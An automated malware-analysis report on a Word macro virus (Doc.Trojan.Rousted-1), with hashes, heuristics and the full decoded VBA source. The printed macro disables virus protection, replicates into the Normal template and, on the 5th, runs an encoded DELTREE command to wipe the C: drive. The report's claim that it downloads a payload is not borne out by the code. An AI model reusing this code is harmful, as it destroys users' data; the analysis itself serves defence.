Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8667fd13233eeed8…

MALICIOUS

Office (OLE)

30.0 KB Created: 2002-08-22 05:49:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: a0f1e8be6ee7aea2bbe199ebb91919ea SHA-1: 8460450556be772689e2b1caa7149c99d81838d5 SHA-256: 8667fd13233eeed871d560bd08ed9299162c2c420f193015b88ce6bde4be6d26
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader, specifically triggering a Shell() call within the Document_Open macro. This indicates the document is designed to run arbitrary code. The VBA script itself confirms this by attempting to execute commands, likely to download and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Trojan.Rousted-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Rousted-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2901 bytes
SHA-256: 02900795cbb5fd83be806734061f8208936e76055a671ec9ae71fa16f91db612
Detection
ClamAV: Doc.Trojan.Rousted-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'NVC
Private Sub Document_Open()
'IE4
On Error Resume Next
'FW4
Options.VirusProtection = False
'VnqtvEceOkTiRBlFmgWC1
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
'hfAJdSAxqvtV1
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
'QcsunGiDKcNQWDFafJ2
If NT.Lines(1, 1) <> "'NVC" Then
'KbsnDSplyZZmvzfKne4
SetAttr NormalTemplate.FullName, 0
'wzuUuKAuJEbtchgg1
Call MC(NT, AD)
'hLCjQVYsof8
ElseIf AD.Lines(1, 1) <> "'NVC" Then
'VTSthhbzLUXBXRJSid7
Call MC(AD, NT)
'TKSUxhsbylfikxHjTG0
End If
'JbvHoMmFiJdcfpfN5
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'WMm8
If Day(Now) = 5 Then
'W6
St = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(99) + Chr(111) + Chr(109) + Chr(112) + Chr(117) + Chr(116) + Chr(101) + Chr(114) + Chr(32) + Chr(73) + Chr(110) + Chr(102) + Chr(101) + Chr(99) + Chr(116) + Chr(101) + Chr(100) + Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(32) + Chr(83) + Chr(101) + Chr(99) + Chr(116) + Chr(111) + Chr(114) + Chr(32) + Chr(118) + Chr(49) + Chr(46) + Chr(48) + Chr(13) + Chr(10) + Chr(78) + Chr(117) + Chr(99) + Chr(108) + Chr(101) + Chr(97) + Chr(114) + Chr(95) + Chr(86) + Chr(105) + Chr(114) + Chr(105) + Chr(95) + Chr(67) + Chr(114) + Chr(101) + Chr(119) + Chr(32) + Chr(40) + Chr(78) + Chr(86) + Chr(67) + Chr(41) + Chr(32) + Chr(45) + Chr(32) + Chr(82) + Chr(85) + Chr(76) + Chr(69) + Chr(90) + Chr(90) + Chr(32) + Chr(70) + Chr(79) + Chr(82) + Chr(69) + Chr(86) + Chr(69) + Chr(82) + Chr(33) + Chr(33) + Chr(33)
'ODhKhJ5
MsgBox St, 0, ""
'PiFrjSs8
S = Chr(47) + Chr(67) + Chr(32) + Chr(68) + Chr(69) + Chr(76) + Chr(84) + Chr(82) + Chr(69) + Chr(69) + Chr(32) + Chr(47) + Chr(89) + Chr(32) + Chr(67) + Chr(58) + Chr(32) + Chr(62) + Chr(78) + Chr(85) + Chr(76)
'kDajJylMVEg3
Shell ("COMSPEC") + S, 0
'jZpGXisKHEmWwmfiAVNM6
End If
'SwIrGw0
End Sub
'I6
Private Sub MC(Dest, Sour)
'BNycchKbYIwvd0
Dest.DeleteLines 1, Dest.CountofLines
'KRwIjsowajYzmIX8
Dest.InsertLines 1, "'NVC"
'lpfKjFID6
For i = 2 To Sour.CountofLines
'wqiYF3
Dest.InsertLines i, Sour.Lines(i, 1)
'GFl1
If Mid$(Dest.Lines(i, 1), 1, 1) = "'" Then
'G3
Randomize
'SqfRtTb7
 N = "'"
'sCkS6
 For j = 1 To Int(Rnd * 20) + 1
'W7
  b = Int(Rnd * 26) + 65
'wVFIzGUU6
  If Rnd > 0.5 Then b = b + 32
'JSAbULlQktbq7
  N = N + Chr$(b)
'SPsNeZTwEAVlQaeVdU8
 Next
'mNrGuMADSyhHoWEFKO1
 N = N + Chr$(Asc("0") + Int(Rnd * 9))
'YLuMLElNDdjOwEFB0
Dest.ReplaceLine i, N
'JyccHPjLiE2
End If
'YfSMYaMRFSFwQOiOFn4
Next i
'VxsmoaDTsJnEdugerq6
End Sub
'lOvafFXxCiLXzMe2

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